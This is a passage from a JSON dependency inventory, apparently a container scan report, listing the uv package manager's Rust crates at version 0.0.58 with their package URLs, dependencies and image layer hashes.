"pkg:cargo/uv-console@0.0.58", "UID": "152eb37c553eb585" }, "Version": "0.0.58", "DependsOn": [ "console@0.16.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-dirs@0.0.58", "Name": "uv-dirs", "Identifier": { "PURL": "pkg:cargo/uv-dirs@0.0.58", "UID": "bdd17afabbe7e698" }, "Version": "0.0.58", "DependsOn": [ "etcetera@0.11.0", "fs-err@3.3.0", "tracing@0.1.44", "uv-static@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-dispatch@0.0.58", "Name": "uv-dispatch", "Identifier": { "PURL": "pkg:cargo/uv-dispatch@0.0.58", "UID": "e0b682499ef1c54b" }, "Version": "0.0.58", "DependsOn": [ "anyhow@1.0.102", "futures@0.3.32", "itertools@0.14.0", "rustc-hash@2.1.2", "thiserror@2.0.18", "tokio@1.52.3", "tracing@0.1.44", "uv-build-backend@0.0.58", "uv-build-frontend@0.0.58", "uv-cache@0.0.58", "uv-client@0.0.58", "uv-configuration@0.0.58", "uv-distribution@0.0.58", "uv-distribution-filename@0.0.58", "uv-distribution-types@0.0.58", "uv-errors@0.0.58", "uv-git@0.0.58", "uv-install-wheel@0.0.58", "uv-installer@0.0.58", "uv-platform-tags@0.0.58", "uv-preview@0.0.58", "uv-pypi-types@0.0.58", "uv-python@0.0.58", "uv-requirements@0.0.58", "uv-resolver@0.0.58", "uv-types@0.0.58", "uv-version@0.11.25", "uv-workspace@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-distribution@0.0.58", "Name": "uv-distribution", "Identifier": { "PURL": "pkg:cargo/uv-distribution@0.0.58", "UID": "13825f32d81badfd" }, "Version": "0.0.58", "DependsOn": [ "anyhow@1.0.102", "astral-reqwest-middleware@0.5.1", "either@1.16.0", "fs-err@3.3.0", "futures@0.3.32", "owo-colors@4.3.0", "reqwest@0.13.4", "rmp-serde@1.3.1", "rustc-hash@2.1.2", "serde@1.0.228", "tempfile@3.27.0", "thiserror@2.0.18", "tokio@1.52.3", "tokio-util@0.7.18", "toml@1.1.2+spec-1.1.0", "tracing@0.1.44", "url@2.5.8", "uv-auth@0.0.58", "uv-cache@0.0.58", "uv-cache-info@0.0.58", "uv-client@0.0.58", "uv-configuration@0.0.58", "uv-distribution-filename@0.0.58", "uv-distribution-types@0.0.58", "uv-errors@0.0.58", "uv-extract@0.0.58", "uv-fastid@0.0.58", "uv-flags@0.0.58", "uv-fs@0.0.58", "uv-git@0.0.58", "uv-git-types@0.0.58", "uv-install-wheel@0.0.58", "uv-metadata@0.0.58", "uv-normalize@0.0.58", "uv-pep440@0.0.58", "uv-pep508@0.0.58", "uv-platform-tags@0.0.58", "uv-pypi-types@0.0.58", "uv-python@0.0.58", "uv-redacted@0.0.58", "uv-types@0.0.58", "uv-warnings@0.0.58", "uv-workspace@0.0.58", "walkdir@2.5.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-distribution-filename@0.0.58", "Name": "uv-distribution-filename", "Identifier": { "PURL": "pkg:cargo/uv-distribution-filename@0.0.58", "UID": "f88d613a97977e3f" }, "Version": "0.0.58", "DependsOn": [ "memchr@2.8.2", "rkyv@0.8.16", "serde@1.0.228", "smallvec@1.15.2", "thiserror@2.0.18", "uv-cache-key@0.0.58", "uv-normalize@0.0.58", "uv-pep440@0.0.58", "uv-platform-tags@0.0.58", "uv-small-str@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-distribution-types@0.0.58", "Name": "uv-distribution-types", "Identifier": { "PURL": "pkg:cargo/uv-distribution-types@0.0.58", "UID": "ebe8af534b8e1b16" }, "Version": "0.0.58", "DependsOn": [ "arcstr@1.2.0", "astral-version-ranges@0.1.4", "bitflags@2.13.0", "fs-err@3.3.0", "http@1.4.1", "itertools@0.14.0", "jiff@0.2.28", "owo-colors@4.3.0", "percent-encoding@2.3.2", "petgraph@0.8.3", "rkyv@0.8.16", "rustc-hash@2.1.2", "schemars@1.2.1", "serde@1.0.228", "serde_json@1.0.150", "thiserror@2.0.18", "tracing@0.1.44", "url@2.5.8", "uv-auth@0.0.58", "uv-cache-info@0.0.58", "uv-cache-key@0.0.58", "uv-distribution-filename@0.0.58", "uv-errors@0.0.58", "uv-fs@0.0.58", "uv-git-types@0.0.58", "uv-install-wheel@0.0.58", "uv-normalize@0.0.58", "uv-pep440@0.0.58", "uv-pep508@0.0.58", "uv-platform-tags@0.0.58", "uv-pypi-types@0.0.58", "uv-redacted@0.0.58", "uv-small-str@0.0.58", "uv-warnings@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-errors@0.0.58", "Name": "uv-errors", "Identifier": { "PURL": "pkg:cargo/uv-errors@0.0.58", "UID": "94b73633fd423c61" }, "Version": "0.0.58", "DependsOn": [ "anstream@1.0.0", "owo-colors@4.3.0", "terminal_size@0.4.4", "textwrap@0.16.2", "uv-static@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-extract@0.0.58", "Name": "uv-extract", "Identifier": { "PURL": "pkg:cargo/uv-extract@0.0.58", "UID": "a5d60b2e604dd45a" }, "Version": "0.0.58", "DependsOn": [ "astral-tokio-tar@0.6.3", "astral_async_zip@0.0.18", "async-compression@0.4.19", "blake2@0.10.6", "flate2@1.1.9", "fs-err@3.3.0", "futures@0.3.32", "md-5@0.10.6", "rayon@1.12.0", "regex@1.12.4", "reqwest@0.13.4", "rustc-hash@2.1.2", "sha2@0.10.9", "thiserror@2.0.18", "tokio@1.52.3", "tokio-util@0.7.18", "tracing@0.1.44", "uv-configuration@0.0.58", "uv-distribution-filename@0.0.58", "uv-pypi-types@0.0.58", "uv-static@0.0.58", "uv-warnings@0.0.58", "xz2@0.1.7" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-fastid@0.0.58", "Name": "uv-fastid", "Identifier": { "PURL": "pkg:cargo/uv-fastid@0.0.58", "UID": "8de713520d52153a" }, "Version": "0.0.58", "DependsOn": [ "rand@0.9.4", "serde@1.0.228" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-flags@0.0.58", "Name": "uv-flags", "Identifier": { "PURL": "pkg:cargo/uv-flags@0.0.58", "UID": "5a1b3ff150583a34" }, "Version": "0.0.58", "DependsOn": [ "bitflags@2.13.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-fs@0.0.58", "Name": "uv-fs", "Identifier": { "PURL": "pkg:cargo/uv-fs@0.0.58", "UID": "71ec4f03b869c5e2" }, "Version": "0.0.58", "DependsOn": [ "clap@4.6.1", "dunce@1.0.5", "either@1.16.0", "encoding_rs_io@0.1.7", "fs-err@3.3.0", "path-slash@0.2.1", "percent-encoding@2.3.2", "reflink-copy@0.1.29", "rustc-hash@2.1.2", "rustix@1.1.4", "same-file@1.0.6", "schemars@1.2.1", "serde@1.0.228", "tempfile@3.27.0", "thiserror@2.0.18", "tokio@1.52.3", "tracing@0.1.44", "uv-static@0.0.58", "uv-warnings@0.0.58", "walkdir@2.5.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-git@0.0.58", "Name": "uv-git", "Identifier": { "PURL": "pkg:cargo/uv-git@0.0.58", "UID": "179ce08c6af2bc6" }, "Version": "0.0.58", "DependsOn": [ "anyhow@1.0.102", "astral-reqwest-middleware@0.5.1", "cargo-util@0.2.28", "fs-err@3.3.0", "owo-colors@4.3.0", "papaya@0.2.4", "reqwest@0.13.4", "thiserror@2.0.18", "tokio@1.52.3", "tracing@0.1.44", "url@2.5.8", "uv-auth@0.0.58", "uv-cache-key@0.0.58", "uv-fs@0.0.58", "uv-git-types@0.0.58", "uv-redacted@0.0.58", "uv-static@0.0.58", "uv-version@0.11.25", "uv-warnings@0.0.58", "which@8.0.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-git-types@0.0.58", "Name": "uv-git-types", "Identifier": { "PURL": "pkg:cargo/uv-git-types@0.0.58", "UID": "9058adaa49b7f921" }, "Version": "0.0.58", "DependsOn": [ "percent-encoding@2.3.2", "serde@1.0.228", "thiserror@2.0.18", "tracing@0.1.44", "url@2.5.8", "uv-cache-key@0.0.58", "uv-redacted@0.0.58", "uv-static@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-globfilter@0.0.58", "Name": "uv-globfilter", "Identifier": { "PURL": "pkg:cargo/uv-globfilter@0.0.58", "UID": "8253d5589bdf000a" }, "Version": "0.0.58", "DependsOn": [ "globset@0.4.18", "regex@1.12.4", "regex-automata@0.4.14", "thiserror@2.0.18", "tracing@0.1.44", "uv-errors@0.0.58", "walkdir@2.5.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-install-wheel@0.0.58", "Name": "uv-install-wheel", "Identifier": { "PURL": "pkg:cargo/uv-install-wheel@0.0.58", "UID": "7f082a42d929abbf" }, "Version": "0.0.58", "DependsOn": [ "configparser@3.2.0", "csv@1.4.0", "data-encoding@2.11.0", "fs-err@3.3.0", "itertools@0.14.0", "mailparse@0.16.1", "owo-colors@4.3.0", "pathdiff@0.2.3", "regex@1.12.4", "rustc-hash@2.1.2", "serde@1.0.228", "serde_json@1.0.150", "sha2@0.10.9", "thiserror@2.0.18", "tracing@0.1.44", "uv-distribution-filename@0.0.58", "uv-flags@0.0.58", "uv-fs@0.0.58", "uv-normalize@0.0.58", "uv-pep440@0.0.58", "uv-preview@0.0.58", "uv-pypi-types@0.0.58", "uv-shell@0.0.58", "uv-trampoline-builder@0.0.58", "uv-warnings@0.0.58", "walkdir@2.5.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-installer@0.0.58", "Name": "uv-installer", "Identifier": { "PURL": "pkg:cargo/uv-installer@0.0.58", "UID": "4ab9fa6ba862f451" }, "Version": "0.0.58", "DependsOn": [ "anyhow@1.0.102", "async-channel@2.5.0", "fs-err@3.3.0", "futures@0.3.32", "owo-colors@4.3.0", "rayon@1.12.0", "rustc-hash@2.1.2", "same-file@1.0.6", "tempfile@3.27.0", "thiserror@2.0.18", "tokio@1.52.3", "tracing@0.1.44", "url@2.5.8", "uv-cache@0.0.58", "uv-cache-info@0.0.58", "uv-cache-key@0.0.58", "uv-configuration@0.0.58", "uv-distribution@0.0.58", "uv-distribution-filename@0.0.58", "uv-distribution-types@0.0.58", "uv-errors@0.0.58", "uv-fs@0.0.58", "uv-git-types@0.0.58", "uv-install-wheel@0.0.58", "uv-normalize@0.0.58", "uv-pep440@0.0.58", "uv-pep508@0.0.58", "uv-platform-tags@0.0.58", "uv-preview@0.0.58", "uv-pypi-types@0.0.58", "uv-python@0.0.58", "uv-redacted@0.0.58", "uv-static@0.0.58", "uv-types@0.0.58", "uv-warnings@0.0.58", "walkdir@2.5.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-keyring@0.0.58", "Name": "uv-keyring", "Identifier": { "PURL": "pkg:cargo/uv-keyring@0.0.58", "UID": "1bc4a84f8da53607" }, "Version": "0.0.58", "DependsOn": [ "async-trait@0.1.89", "secret-service@5.1.0", "thiserror@2.0.18", "tokio@1.52.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-logging@0.0.58", "Name": "uv-logging", "Identifier": { "PURL": "pkg:cargo/uv-logging@0.0.58", "UID": "3aa7bc010be4dd48" }, "Version": "0.0.58", "DependsOn": [ "anstream@1.0.0", "jiff@0.2.28", "owo-colors@4.3.0", "tracing@0.1.44", "tracing-subscriber@0.3.23" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-metadata@0.0.58", "Name": "uv-metadata", "Identifier": { "PURL": "pkg:cargo/uv-metadata@0.0.58", "UID": "49c36d5bdb1cc799" }, "Version": "0.0.58", "DependsOn": [ "astral_async_zip@0.0.18", "fs-err@3.3.0", "futures@0.3.32", "thiserror@2.0.18", "tokio@1.52.3", "tokio-util@0.7.18", "tracing@0.1.44", "uv-distribution-filename@0.0.58", "uv-normalize@0.0.58", "uv-pypi-types@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-netrc@0.0.58", "Name": "uv-netrc", "Identifier": { "PURL": "pkg:cargo/uv-netrc@0.0.58", "UID": "72007f3ce3f6f574" }, "Version": "0.0.58", "DependsOn": [ "shellexpand@3.1.2", "thiserror@2.0.18" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-normalize@0.0.58", "Name": "uv-normalize", "Identifier": { "PURL": "pkg:cargo/uv-normalize@0.0.58", "UID": "f3f51a59e0d3ad87" }, "Version": "0.0.58", "DependsOn": [ "rkyv@0.8.16", "schemars@1.2.1", "serde@1.0.228", "uv-small-str@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-once-map@0.0.58", "Name": "uv-once-map", "Identifier": { "PURL": "pkg:cargo/uv-once-map@0.0.58", "UID": "7f637cce4221f96c" }, "Version": "0.0.58", "DependsOn": [ "futures@0.3.32", "papaya@0.2.4", "tokio@1.52.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-options-metadata@0.0.58", "Name": "uv-options-metadata", "Identifier": { "PURL": "pkg:cargo/uv-options-metadata@0.0.58", "UID": "88ed41fe683188f6" }, "Version": "0.0.58", "DependsOn": [ "serde@1.0.228" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-pep440@0.0.58", "Name": "uv-pep440", "Identifier": { "PURL": "pkg:cargo/uv-pep440@0.0.58", "UID": "da3ea2fba1b8d5ad" }, "Version": "0.0.58", "DependsOn": [ "astral-version-ranges@0.1.4", "rkyv@0.8.16", "serde@1.0.228", "tracing@0.1.44", "unicode-width@0.2.2", "unscanny@0.1.0", "uv-cache-key@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-pep508@0.0.58", "Name": "uv-pep508", "Identifier": { "PURL": "pkg:cargo/uv-pep508@0.0.58", "UID": "4f71d966012dfd2a" }, "Version": "0.0.58", "DependsOn": [ "arcstr@1.2.0", "astral-version-ranges@0.1.4", "boxcar@0.2.14", "indexmap@2.14.0", "itertools@0.14.0", "regex@1.12.4", "rkyv@0.8.16", "rustc-hash@2.1.2", "schemars@1.2.1", "serde@1.0.228", "smallvec@1.15.2", "temp-env@0.3.6", "thiserror@2.0.18", "unicode-width@0.2.2", "url@2.5.8", "uv-cache-key@0.0.58", "uv-fs@0.0.58", "uv-normalize@0.0.58", "uv-pep440@0.0.58", "uv-redacted@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-performance-memory-allocator@0.0.58", "Name": "uv-performance-memory-allocator", "Identifier": { "PURL": "pkg:cargo/uv-performance-memory-allocator@0.0.58", "UID": "a09cdbcedbc47a9e" }, "Version": "0.0.58", "DependsOn": [ "tikv-jemallocator@0.6.1" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-platform@0.0.58", "Name": "uv-platform", "Identifier": { "PURL": "pkg:cargo/uv-platform@0.0.58", "UID": "9a9174598923ec44" }, "Version": "0.0.58", "DependsOn": [ "fs-err@3.3.0", "goblin@0.10.7", "procfs@0.18.0", "regex@1.12.4", "rustix@1.1.4", "target-lexicon@0.13.5", "thiserror@2.0.18", "tracing@0.1.44", "uv-fs@0.0.58", "uv-platform-tags@0.0.58", "uv-static@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-platform-tags@0.0.58", "Name": "uv-platform-tags", "Identifier": { "PURL": "pkg:cargo/uv-platform-tags@0.0.58", "UID": "a1c74c995b9f0262" }, "Version": "0.0.58", "DependsOn": [ "bitflags@2.13.0", "memchr@2.8.2", "rkyv@0.8.16", "rustc-hash@2.1.2", "serde@1.0.228", "thiserror@2.0.18", "uv-small-str@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-preview@0.0.58", "Name": "uv-preview", "Identifier": { "PURL": "pkg:cargo/uv-preview@0.0.58", "UID": "2f16d349b16d0260" }, "Version": "0.0.58", "DependsOn": [ "enumflags2@0.7.12", "itertools@0.14.0", "schemars@1.2.1", "serde@1.0.228", "thiserror@2.0.18", "uv-warnings@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-publish@0.0.58", "Name": "uv-publish", "Identifier": { "PURL": "pkg:cargo/uv-publish@0.0.58", "UID": "cda476ae3e720f16" }, "Version": "0.0.58", "DependsOn": [ "ambient-id@0.0.11", "astral-reqwest-middleware@0.5.1", "astral-reqwest-retry@0.9.1", "astral-tokio-tar@0.6.3", "async-compression@0.4.19", "base64@0.22.1", "fs-err@3.3.0", "futures@0.3.32", "glob@0.3.3", "itertools@0.14.0", "reqwest@0.13.4", "rustc-hash@2.1.2", "serde@1.0.228", "serde_json@1.0.150", "thiserror@2.0.18", "tokio@1.52.3", "tokio-util@0.7.18", "tracing@0.1.44", "url@2.5.8", "uv-auth@0.0.58", "uv-cache@0.0.58", "uv-client@0.0.58", "uv-configuration@0.0.58", "uv-distribution-filename@0.0.58", "uv-distribution-types@0.0.58", "uv-errors@0.0.58", "uv-extract@0.0.58", "uv-fs@0.0.58", "uv-metadata@0.0.58", "uv-pypi-types@0.0.58", "uv-redacted@0.0.58", "uv-static@0.0.58", "uv-warnings@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-pypi-types@0.0.58", "Name": "uv-pypi-types", "Identifier": { "PURL": "pkg:cargo/uv-pypi-types@0.0.58", "UID": "dbca4ecbf3124b09" }, "Version": "0.0.58", "DependsOn": [ "hashbrown@0.17.1", "indexmap@2.14.0", "itertools@0.14.0", "jiff@0.2.28", "mailparse@0.16.1", "petgraph@0.8.3", "regex@1.12.4", "rkyv@0.8.16", "rustc-hash@2.1.2", "schemars@1.2.1", "serde@1.0.228", "serde-untagged@0.1.9", "thiserror@2.0.18", "toml_edit@0.25.12+spec-1.1.0", "tracing@0.1.44", "url@2.5.8", "uv-cache-key@0.0.58", "uv-distribution-filename@0.0.58", "uv-git-types@0.0.58", "uv-normalize@0.0.58", "uv-pep440@0.0.58", "uv-pep508@0.0.58", "uv-redacted@0.0.58", "uv-small-str@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-python@0.0.58", "Name": "uv-python", "Identifier": { "PURL": "pkg:cargo/uv-python@0.0.58", "UID": "91fec8da8e015e3d" }, "Version": "0.0.58", "DependsOn": [ "anyhow@1.0.102", "astral-reqwest-middleware@0.5.1", "astral-reqwest-retry@0.9.1", "clap@4.6.1", "configparser@3.2.0", "dunce@1.0.5", "fs-err@3.3.0", "futures@0.3.32", "indexmap@2.14.0", "itertools@0.14.0", "owo-colors@4.3.0", "rayon@1.12.0", "ref-cast@1.0.25", "regex@1.12.4", "reqwest@0.13.4", "rmp-serde@1.3.1", "rustc-hash@2.1.2", "same-file@1.0.6", "schemars@1.2.1", "serde@1.0.228", "serde_json@1.0.150", "target-lexicon@0.13.5", "tempfile@3.27.0", "thiserror@2.0.18", "tokio@1.52.3", "tokio-util@0.7.18", "tracing@0.1.44", "url@2.5.8", "uv-cache@0.0.58", "uv-cache-info@0.0.58", "uv-cache-key@0.0.58", "uv-client@0.0.58", "uv-dirs@0.0.58", "uv-distribution-filename@0.0.58", "uv-distribution-types@0.0.58", "uv-errors@0.0.58", "uv-extract@0.0.58", "uv-fs@0.0.58", "uv-install-wheel@0.0.58", "uv-pep440@0.0.58", "uv-pep508@0.0.58", "uv-platform@0.0.58", "uv-platform-tags@0.0.58", "uv-preview@0.0.58", "uv-pypi-types@0.0.58", "uv-redacted@0.0.58", "uv-state@0.0.58", "uv-static@0.0.58", "uv-trampoline-builder@0.0.58", "uv-warnings@0.0.58", "which@8.0.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-redacted@0.0.58", "Name": "uv-redacted", "Identifier": { "PURL": "pkg:cargo/uv-redacted@0.0.58", "UID": "edfd6b865b1e8acf" }, "Version": "0.0.58", "DependsOn": [ "ref-cast@1.0.25", "schemars@1.2.1", "serde@1.0.228", "thiserror@2.0.18", "url@2.5.8" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-requirements@0.0.58", "Name": "uv-requirements", "Identifier": { "PURL": "pkg:cargo/uv-requirements@0.0.58", "UID": "7d530bcefc00431a" }, "Version": "0.0.58", "DependsOn": [ "anyhow@1.0.102", "configparser@3.2.0", "console@0.16.3", "fs-err@3.3.0", "futures@0.3.32", "rustc-hash@2.1.2", "thiserror@2.0.18", "toml@1.1.2+spec-1.1.0", "tracing@0.1.44", "url@2.5.8", "uv-cache-key@0.0.58", "uv-client@0.0.58", "uv-configuration@0.0.58", "uv-console@0.0.58", "uv-distribution@0.0.58", "uv-distribution-filename@0.0.58", "uv-distribution-types@0.0.58", "uv-fs@0.0.58", "uv-git@0.0.58", "uv-normalize@0.0.58", "uv-pep508@0.0.58", "uv-pypi-types@0.0.58", "uv-redacted@0.0.58", "uv-requirements-txt@0.0.58", "uv-resolver@0.0.58", "uv-scripts@0.0.58", "uv-types@0.0.58", "uv-warnings@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-requirements-txt@0.0.58", "Name": "uv-requirements-txt", "Identifier": { "PURL": "pkg:cargo/uv-requirements-txt@0.0.58", "UID": "5aa104db51eabae4" }, "Version": "0.0.58", "DependsOn": [ "astral-reqwest-middleware@0.5.1", "fs-err@3.3.0", "memchr@2.8.2", "reqwest@0.13.4", "rustc-hash@2.1.2", "thiserror@2.0.18", "tracing@0.1.44", "unscanny@0.1.0", "url@2.5.8", "uv-client@0.0.58", "uv-configuration@0.0.58", "uv-distribution-types@0.0.58", "uv-fs@0.0.58", "uv-normalize@0.0.58", "uv-pep508@0.0.58", "uv-pypi-types@0.0.58", "uv-redacted@0.0.58", "uv-warnings@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-resolver@0.0.58", "Name": "uv-resolver", "Identifier": { "PURL": "pkg:cargo/uv-resolver@0.0.58", "UID": "7a4dec9bfeeb1016" }, "Version": "0.0.58", "DependsOn": [ "arcstr@1.2.0", "astral-pubgrub@0.3.3", "clap@4.6.1", "cyclonedx-bom@0.8.1", "either@1.16.0", "fs-err@3.3.0", "futures@0.3.32", "hashbrown@0.17.1", "indexmap@2.14.0", "itertools@0.14.0", "jiff@0.2.28", "owo-colors@4.3.0", "papaya@0.2.4", "percent-encoding@2.3.2", "petgraph@0.8.3", "rkyv@0.8.16", "rustc-hash@2.1.2", "same-file@1.0.6", "schemars@1.2.1", "serde@1.0.228", "serde_json@1.0.150", "smallvec@1.15.2", "textwrap@0.16.2", "thiserror@2.0.18", "tokio@1.52.3", "tokio-stream@0.1.18", "toml@1.1.2+spec-1.1.0", "toml_edit@0.25.12+spec-1.1.0", "tracing@0.1.44", "url@2.5.8", "uv-cache-key@0.0.58", "uv-client@0.0.58", "uv-configuration@0.0.58", "uv-console@0.0.58", "uv-distribution@0.0.58", "uv-distribution-filename@0.0.58", "uv-distribution-types@0.0.58", "uv-errors@0.0.58", "uv-flags@0.0.58", "uv-fs@0.0.58", "uv-git@0.0.58", "uv-git-types@0.0.58", "uv-metadata@0.0.58", "uv-normalize@0.0.58", "uv-once-map@0.0.58", "uv-pep440@0.0.58", "uv-pep508@0.0.58", "uv-platform-tags@0.0.58", "uv-preview@0.0.58", "uv-pypi-types@0.0.58", "uv-python@0.0.58", "uv-redacted@0.0.58", "uv-requirements-txt@0.0.58", "uv-small-str@0.0.58", "uv-static@0.0.58", "uv-torch@0.0.58", "uv-types@0.0.58", "uv-version@0.11.25", "uv-warnings@0.0.58", "uv-workspace@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-scripts@0.0.58", "Name": "uv-scripts", "Identifier": { "PURL": "pkg:cargo/uv-scripts@0.0.58", "UID": "c5aff0021e509719" }, "Version": "0.0.58", "DependsOn": [ "fs-err@3.3.0", "indoc@2.0.7", "memchr@2.8.2", "regex@1.12.4", "serde@1.0.228", "thiserror@2.0.18", "toml@1.1.2+spec-1.1.0", "tracing@0.1.44", "url@2.5.8", "uv-configuration@0.0.58", "uv-distribution-types@0.0.58", "uv-normalize@0.0.58", "uv-pep440@0.0.58", "uv-pep508@0.0.58", "uv-pypi-types@0.0.58", "uv-redacted@0.0.58", "uv-settings@0.0.58", "uv-warnings@0.0.58", "uv-workspace@0.0.58" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "uv-settings@0.0.58", "Name": "uv-settings", "Identifier": { "PURL": "pkg:cargo/uv-settings@0.0.58", "UID": "380004aea57cff8b" }, "Version": "0.0.58", "DependsOn": [ "clap@4.6.1", "fs-err@3.3.0", "schemars@1.2.1", "serde@1.0.228", "serde-untagged@0.1.9", "textwrap@0.16.2", "thiserror@2.0.18", "toml@1.1.2+spec-1.1.0", "tracing@0.1.44", "url@2.5.8", "uv-cache-info@0.0.58", "uv-client@0.0.58", "uv-configuration@0.0.58", "uv-dirs@0.0.58", "uv-distribution-types@0.0.58", "uv-flags@0.0.58", "uv-fs@0.0.58", "uv-install-wheel@0.0.58", "uv-normalize@0.0.58", "uv-options-metadata@0.0.58", "uv-pep440@0.0.58", "uv-pep508@0.0.58", "uv-preview@0.0.58", "uv-pypi-types@0.0.58", "uv-python@0.0.58", "uv-redacted@0.0.58", "uv-resolver@0.0.58", "uv-static@0.0.58", "uv-torch@0.0.58", "uv-version@0.11.25", "uv-warnings@0.0.58", 